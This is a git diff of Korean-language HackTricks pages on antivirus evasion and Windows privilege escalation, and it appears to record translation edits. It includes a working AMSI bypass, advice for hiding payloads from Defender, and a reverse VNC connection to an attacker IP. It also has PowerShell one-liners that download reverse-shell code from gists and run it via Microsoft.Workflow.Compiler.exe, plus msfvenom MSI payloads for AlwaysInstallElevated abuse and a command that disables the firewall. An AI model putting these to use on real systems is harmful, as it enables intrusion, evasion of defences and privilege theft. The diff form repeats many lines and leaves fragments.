확한 대답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하기에는 악몽과도 같습니다. 따라서 달성하려는 목표에 대한 대안을 찾아보세요.
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하기에는 악몽과도 같습니다. 따라서 달성하려는 목표에 대한 대안을 찾아보세요.
> [!NOTE]
> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, 진지하게, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말입니다. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.
> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, 진지하게, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말이죠. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.
## EXE와 DLL
가능할 때마다 **회피를 위해 DLL 사용을 우선시하세요**. 제 경험상 DLL 파일은 일반적으로 **탐지 및 분석이 훨씬 덜** 되므로, 경우에 따라 탐지를 피하기 위한 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있어야 합니다).
이 이미지에서 볼 수 있듯이, Havoc의 DLL 페이로드는 antiscan.me에서 4/26의 탐지율을 가지며, EXE 페이로드는 7/26의 탐지율을 가집니다.
이 이미지에서 볼 수 있듯이, Havoc의 DLL 페이로드는 antiscan.me에서 4/26의 탐지율을 보이는 반면, EXE 페이로드는 7/26의 탐지율을 보입니다.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me에서 일반 Havoc EXE 페이로드와 일반 Havoc DLL의 비교</p></figcaption></figure>
@ -107,7 +107,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 나는 **강력히 추천**합니다 [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)를 시청하고, 또한 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 통해 우리가 논의한 내용을 더 깊이 배우는 것을 권장합니다.
> 나는 **강력히 추천**합니다 [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)를 시청하고, 또한 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청하여 우리가 논의한 내용을 더 깊이 배우는 것이 좋습니다.
## [**Freeze**](https://github.com/optiv/Freeze)
@ -127,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (안티 맬웨어 스캔 인터페이스)
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 페이로드를 **직접 메모리에서 실행**할 수 있다면 AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다.
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 **메모리에서 직접 페이로드를 실행**할 수 있다면, AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다.
AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
@ -153,7 +153,7 @@ AMSI를 우회하는 방법은 몇 가지가 있습니다:
AMSI는 주로 정적 감지와 함께 작동하므로, 로드하려는 스크립트를 수정하는 것이 감지를 회피하는 좋은 방법이 될 수 있습니다.
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어졌는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아질 수 있으므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다.
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어졌는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아지므로, 얼마나 많은 것이 플래그가 지정되었는지에 따라 다릅니다.
- **AMSI 우회**
@ -161,7 +161,7 @@ AMSI는 powershell (또한 cscript.exe, wscript.exe 등) 프로세스에 DLL을
**오류 강제 발생**
AMSI 초기화를 실패하 강제하면 (amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
AMSI 초기화를 실패하도록 강제하면 (amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
@ -190,13 +190,13 @@ $Spotfix.SetValue($null,$true)
> [!NOTE]
> 더 자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)를 읽어보세요.
PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 기술이 있으며, [**이 페이지**](basic-powershell-for-pentesters/#amsi-bypass)와 [이 레포지토리](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 기술이 있으며, [**이 페이지**](basic-powershell-for-pentesters/#amsi-bypass)와 [이 레포지토리](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 얻으세요.
또는 메모리 패칭을 통해 각 새로운 PowerShell을 패치하는 이 스크립트가 있습니다.
## 난독화
C# 클리어 텍스트 코드를 **난독화**하거나 이진 파일을 컴파일하기 위한 **메타프로그래밍 템플릿**을 생성하거나 **컴파일된 이진 파일을 난독화**하는 데 사용할 수 있는 여러 도구가 있습니다:
다음과 같은 **C# 클리어 텍스트 코드**를 **난독화**하거나 이진 파일을 컴파일하기 위한 **메타프로그래밍 템플릿**을 생성하거나 **컴파일된 이진 파일**을 난독화하는 데 사용할 수 있는 여러 도구가 있습니다:
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 난독화기**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목표는 [LLVM](http://www.llvm.org/) 컴파일러 스위트의 오픈 소스 포크를 제공하여 [코드 난독화](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 및 변조 방지를 통해 소프트웨어 보안을 강화하는 것입니다.
@ -231,7 +231,7 @@ SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 이는 일
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 Mark-of-the-Web을 피하기 위해 페이로드를 출력 컨테이너에 패키징하는 도구입니다.
사용법:
사용법:
```powershell
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -253,21 +253,21 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
여기 [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)를 사용하여 ISO 파일 안에 페이로드를 패키징하여 SmartScreen을 우회하는 데모가 있습니다.
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## C# Assembly Reflection
## C# 어셈블리 리플렉션
C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져 있으며, AV에 걸리지 않고 포스트 익스플로잇 도구를 실행하는 매우 좋은 방법입니다.
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI 패치에 대해서만 걱정하면 됩니다.
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI 패치를 걱정해야 합니다.
대부분의 C2 프레임워크(슬리버, 코버넌트, 메타스플로잇, 코발트스트라이크, 하복 등)는 이미 메모리에서 C# 어셈블리를 직접 실행할 수 있는 기능을 제공하지만, 이를 수행하는 방법은 여러 가지가 있습니다:
- **Fork\&Run**
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입한 후, 악성 코드를 실행하고 완료되면 새로운 프로세스를 종료하는 것을 포함합니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히더라도 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행하고, 완료되면 새로운 프로세스를 종료하는 것을 포함합니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
@ -282,15 +282,15 @@ C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져
또한 C# 어셈블리를 **PowerShell에서 로드할 수 있으며**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 및 [S3cur3th1sSh1t의 비디오](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
## Using Other Programming Languages
## 다른 프로그래밍 언어 사용하기
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안한 바와 같이, 손상된 머신에 **공격자 제어 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
SMB 공유에서 인터프리터 바이너리 환경에 대한 접근을 허용함으로써, 손상된 머신의 **메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.**
SMB 공유에서 인터프리터 바이너리 환경에 대한 접근을 허용함으로써, 손상된 머신의 **메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.**
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 제공합니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
레포는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 갖습니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
## Advanced Evasion
## 고급 회피
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 것은 거의 불가능합니다.
@ -298,22 +298,26 @@ SMB 공유에서 인터프리터 바이너리 및 환경에 대한 접근을 허
더 고급 회피 기술에 대한 발판을 얻기 위해 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 시청하시기를 권장합니다.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
이것은 [@mariuszbit](https://twitter.com/mariuszbit)의 깊이 있는 회피에 대한 또 다른 훌륭한 강연입니다.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Old Techniques**
## **오래된 기술들**
### **Check which parts Defender finds as malicious**
### **Defender가 악성으로 찾는 부분 확인하기**
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하여 **바이너리의 일부를 제거**하여 **Defender가 악성으로 찾는 부분을 알아내고** 이를 분리할 수 있습니다.\
**같은 작업을 수행하는 도구는** [**avred**](https://github.com/dobin/avred)로, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하는 오픈 웹이 있습니다.
다른 도구로는 [**avred**](https://github.com/dobin/avred)가 있으며, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하 있습니다.
### **Telnet Server**
### **텔넷 서버**
Windows 10 이전까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치할 수 있었습니다(관리자로서):
Windows 10 이전까지 모든 Windows에는 **텔넷 서버**가 포함되어 있었으며, 이를 설치할 수 있었습니다(관리자로서):
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -328,7 +332,7 @@ netsh advfirewall set allprofiles state off
```
### UltraVNC
다운로드: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (설치 파일이 아닌 bin 다운로드를 원합니다)
다운로드는 다음에서: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (설치 파일이 아닌 bin 다운로드를 원합니다)
**호스트에서**: _**winvnc.exe**_를 실행하고 서버를 구성합니다:
@ -340,7 +344,7 @@ netsh advfirewall set allprofiles state off
#### **역방향 연결**
**공격자**는 **호스트** 내에서 이진 파일 `vncviewer.exe -listen 5900`**실행**하여 역방향 **VNC 연결**을 수신할 준비를 합니다. 그런 다음, **희생자** 내에서: winvnc 데몬을 시작합니다 `winvnc.exe -run``winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` 실행합니다
**공격자**는 **호스트** 내에서 이진 파일 `vncviewer.exe -listen 5900`**실행**하여 역방향 **VNC 연결**을 수신할 준비를 합니다. 그런 다음, **희생자** 내에서: winvnc 데몬 `winvnc.exe -run`을 시작하고 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` 실행합니다
**경고:** 은폐를 유지하기 위해 몇 가지를 하지 않아야 합니다
@ -350,7 +354,7 @@ netsh advfirewall set allprofiles state off
### GreatSCT
다운로드: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
다운로드는 다음에서: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -380,7 +384,7 @@ https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### 첫 번째 C# 리버스 셸
다음과 함께 컴파일하세요:
다음과 같이 컴파일합니다:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
@ -473,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
{{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
C# 난독화 도구 목록: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

View File

@ -24,7 +24,7 @@ acls-dacls-sacls-aces.md
### 무결성 수준
**Windows에서 무결성 수준이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어야 합니다:**
**Windows 무결성 수준이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어야 합니다:**
{{#ref}}
integrity-levels.md
@ -32,7 +32,7 @@ integrity-levels.md
## Windows 보안 제어
Windows에는 **시스템을 열거하는 것을 방지**하거나 실행 파일을 실행하거나 심지어 **활동을 감지하는** 다양한 요소가 있습니다. 권한 상승 열거를 시작하기 전에 다음 **페이지**를 **읽고** 모든 **방어** **메커니즘**을 **열거**해야 합니다:
Windows에는 **시스템을 열거하는 것을 방지**하거나 실행 파일을 실행하거나 **활동을 감지하는 것**을 **막을 수 있는** 다양한 요소가 있습니다. 권한 상승 열거를 시작하기 전에 다음 **페이지**를 **읽고** 모든 **방어** **메커니즘**을 **열거**해야 합니다:
{{#ref}}
../authentication-credentials-uac-and-efs/
@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
### Environment
환경 변수에 저장된 자격 증명/유용한 정보가 있습니까?
env 변수에 저장된 자격 증명/유용한 정보가 있습니까?
```bash
set
dir env:
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell 전사 파일
이 기능을 활성화하는 방법은 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)에서 배울 수 있습니다.
이 기능을 활성화하는 방법은 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)에서 확인할 수 있습니다.
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **스크립트 블록 로깅**
스크립트 실행의 전체 활동 및 전체 콘텐츠 기록이 캡처되어, 실행되는 모든 코드 블록이 문서화됩니다. 이 과정은 각 활동의 포괄적인 감사 추적을 보존하여 포렌식 및 악의적인 행동 분석에 유용합니다. 실행 시 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰력을 제공합니다.
스크립트 실행의 전체 활동 및 전체 콘텐츠 기록이 캡처되어, 실행되는 모든 코드 블록이 문서화됩니다. 이 프로세스는 각 활동의 포괄적인 감사 추적을 보존하여 포렌식 및 악의적인 행동 분석에 유용합니다. 실행 시 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰력을 제공합니다.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
@ -163,9 +163,9 @@ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
```
`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer``1`과 같으면,
`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer``1`과 같다면,
그렇다면, **악용 가능**합니다. 마지막 레지스트리가 0과 같으면, WSUS 항목은 무시됩니다.
그렇다면, **악용 가능성**이 있습니다. 마지막 레지스트리가 0과 같으면, WSUS 항목은 무시됩니다.
이 취약점을 악용하기 위해 다음과 같은 도구를 사용할 수 있습니다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이는 비 SSL WSUS 트래픽에 '가짜' 업데이트를 주입하기 위한 MiTM 무기화된 익스플로잇 스크립트입니다.
@ -186,15 +186,15 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
## KrbRelayUp
**로컬 권한 상승** 취약점이 특정 조건 하에 Windows **도메인** 환경에 존재합니다. 이러한 조건에는 **LDAP 서명이 시행되지 않는** 환경, 사용자가 **리소스 기반 제약 위임(RBCD)**을 구성할 수 있는 자기 권한을 가진 경우, 도메인 내에서 컴퓨터를 생성할 수 있는 사용자의 능력이 포함됩니다. 이러한 **요구 사항**은 **기본 설정**을 사용하여 충족된다는 점에 유의해야 합니다.
**로컬 권한 상승** 취약점이 특정 조건 하에 Windows **도메인** 환경에 존재합니다. 이러한 조건에는 **LDAP 서명이 시행되지 않는** 환경, 사용자가 **리소스 기반 제약 위임(RBCD)**을 구성할 수 있는 자기 권한을 가지며, 사용자가 도메인 내에서 컴퓨터를 생성할 수 있는 능력이 포함됩니다. 이러한 **요구 사항**은 **기본 설정**을 사용하여 충족된다는 점에 유의해야 합니다.
**악용을 찾으세요** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
**익스플로잇을 찾으세요** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
공격 흐름에 대한 자세한 정보는 [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)를 확인하세요.
## AlwaysInstallElevated
**이** 2개의 레지스터가 **활성화**되어 있다면 (값이 **0x1**), 모든 권한의 사용자가 NT AUTHORITY\\**SYSTEM**으로 `*.msi` 파일을 **설치**(실행)할 수 있습니다.
**이** 2개의 레지스터가 **활성화**되어 있다면 (값이 **0x1**), 모든 권한의 사용자가 `*.msi` 파일을 NT AUTHORITY\\**SYSTEM**으로 **설치**(실행)할 수 있습니다.
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
`Write-UserAddMSI` 명령을 사용하여 현재 디렉토리 내에 권한 상승을 위한 Windows MSI 바이너리를 생성합니다. 이 스크립트는 사용자/그룹 추가를 요청하는 미리 컴파일된 MSI 설치 프로그램을 작성합니다(따라서 GIU 접근이 필요합니다):
power-up의 `Write-UserAddMSI` 명령을 사용하여 현재 디렉토리 내에 권한 상승을 위한 Windows MSI 바이너리를 생성합니다. 이 스크립트는 사용자/그룹 추가를 요청하는 미리 컴파일된 MSI 설치 프로그램을 작성합니다(따라서 GIU 접근이 필요합니다):
```
Write-UserAddMSI
```
@ -230,7 +230,7 @@ create-msi-with-wix.md
### Visual Studio로 MSI 만들기
- **Cobalt Strike** 또는 **Metasploit** `C:\privesc\beacon.exe`에 **새 Windows EXE TCP 페이로드**를 **생성**합니다.
- **Cobalt Strike** 또는 **Metasploit**를 사용하여 `C:\privesc\beacon.exe`에 **새 Windows EXE TCP 페이로드**를 **생성**합니다.
- **Visual Studio**를 열고 **새 프로젝트 만들기**를 선택한 후 검색 상자에 "installer"를 입력합니다. **Setup Wizard** 프로젝트를 선택하고 **Next**를 클릭합니다.
- 프로젝트 이름을 **AlwaysPrivesc**로 지정하고 위치에 **`C:\privesc`**를 사용하며, **솔루션과 프로젝트를 동일한 디렉터리에 배치**를 선택하고 **Create**를 클릭합니다.
- 4단계 중 3단계(포함할 파일 선택)에 도달할 때까지 **Next**를 계속 클릭합니다. **Add**를 클릭하고 방금 생성한 Beacon 페이로드를 선택합니다. 그런 다음 **Finish**를 클릭합니다.
@ -245,7 +245,7 @@ create-msi-with-wix.md
### MSI 설치
**백그라운드에서** 악성 `.msi` 파일의 **설치**를 실행하려면:
**백그라운드**에서 악성 `.msi` 파일의 **설치**를 실행하려면:
```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
@ -295,8 +295,8 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### 캐시된 자격 증명
**도메인 자격 증명**은 **로컬 보안 권한**(LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 사용자의 도메인 자격 증명이 설정됩니다.\
[**캐시된 자격 증명에 대한 자세한 정보는 여기**](../stealing-credentials/credentials-protections.md#cached-credentials).
**도메인 자격 증명**은 **로컬 보안 권한**(LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 사용자의 도메인 자격 증명이 설정됩니다.\
[**캐시된 자격 증명에 대한 자세한 정보는 여기에서 확인하세요**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### 권한 그룹
당신이 **특권 그룹에 속해 있다면 권한을 상승시킬 수 있습니다**. 특권 그룹에 대해 배우고 이를 악용하여 권한을 상승시키는 방법은 여기에서 확인하세요:
당신이 **특권 그룹에 속해 있다면 권한 상승을 할 수 있습니다**. 특권 그룹에 대해 배우고 이를 악용하여 권한을 상승시키는 방법은 여기에서 확인하세요:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -389,7 +389,7 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone
todos %username%" && echo.
)
```
### 메모리 비밀번호 채굴
### 메모리 비밀번호 마이닝
**procdump**를 사용하여 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP와 같은 서비스는 **메모리에 평문으로 자격 증명을 저장**하므로, 메모리를 덤프하고 자격 증명을 읽어보세요.
```bash
@ -427,21 +427,21 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
```
[accesschk.exe를 XP용으로 여기서 다운로드할 수 있습니다](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
[accesschk.exe를 XP용으로 여기서 다운로드할 수 있습니다](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
### 서비스 활성화
이 오류가 발생하는 경우(예: SSDPSRV):
_시스템 오류 1058이 발생했습니다._\
&#xNAN;_&#x54;서비스를 시작할 수 없습니다. 서비스가 비활성화되었거나 활성화된 장치가 연결되어 있지 않기 때문입니다._
&#xNAN;_서비스를 시작할 수 없습니다. 서비스가 비활성화되었거나 활성화된 장치가 연결되어 있지 않기 때문입니다._
다음과 같이 활성화할 수 있습니다.
```bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**서비스 upnphost가 SSDPSRV에 의존한다는 점을 고려하세요 (XP SP1의 경우)**
**서비스 upnphost가 SSDPSRV에 의존하여 작동한다는 점을 고려하세요 (XP SP1의 경우)**
**이 문제의 또 다른 해결 방법**은 다음을 실행하는 것입니다:
```
@ -474,7 +474,7 @@ net stop [service name] && net start [service name]
### 서비스 바이너리의 약한 권한
**서비스에 의해 실행되는 바이너리를 수정할 수 있는지 확인**하거나 **바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인**하세요 ([**DLL Hijacking**](dll-hijacking/))**.**\
**서비스에 의해 실행되는 바이너리를 수정할 수 있는지 확인**하거나 **바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인**하십시오 ([**DLL Hijacking**](dll-hijacking/))**.**\
**wmic**를 사용하여 서비스에 의해 실행되는 모든 바이너리를 가져오고 **icacls**를 사용하여 권한을 확인할 수 있습니다:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -490,7 +490,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
### 서비스 레지스트리 수정 권한
서비스 레지스트리를 수정할 수 있는지 확인해야 합니다.\
서비스 **레지스트리**에 대한 **권한**을 확인하려면 다음을 수행할 수 있습니다:
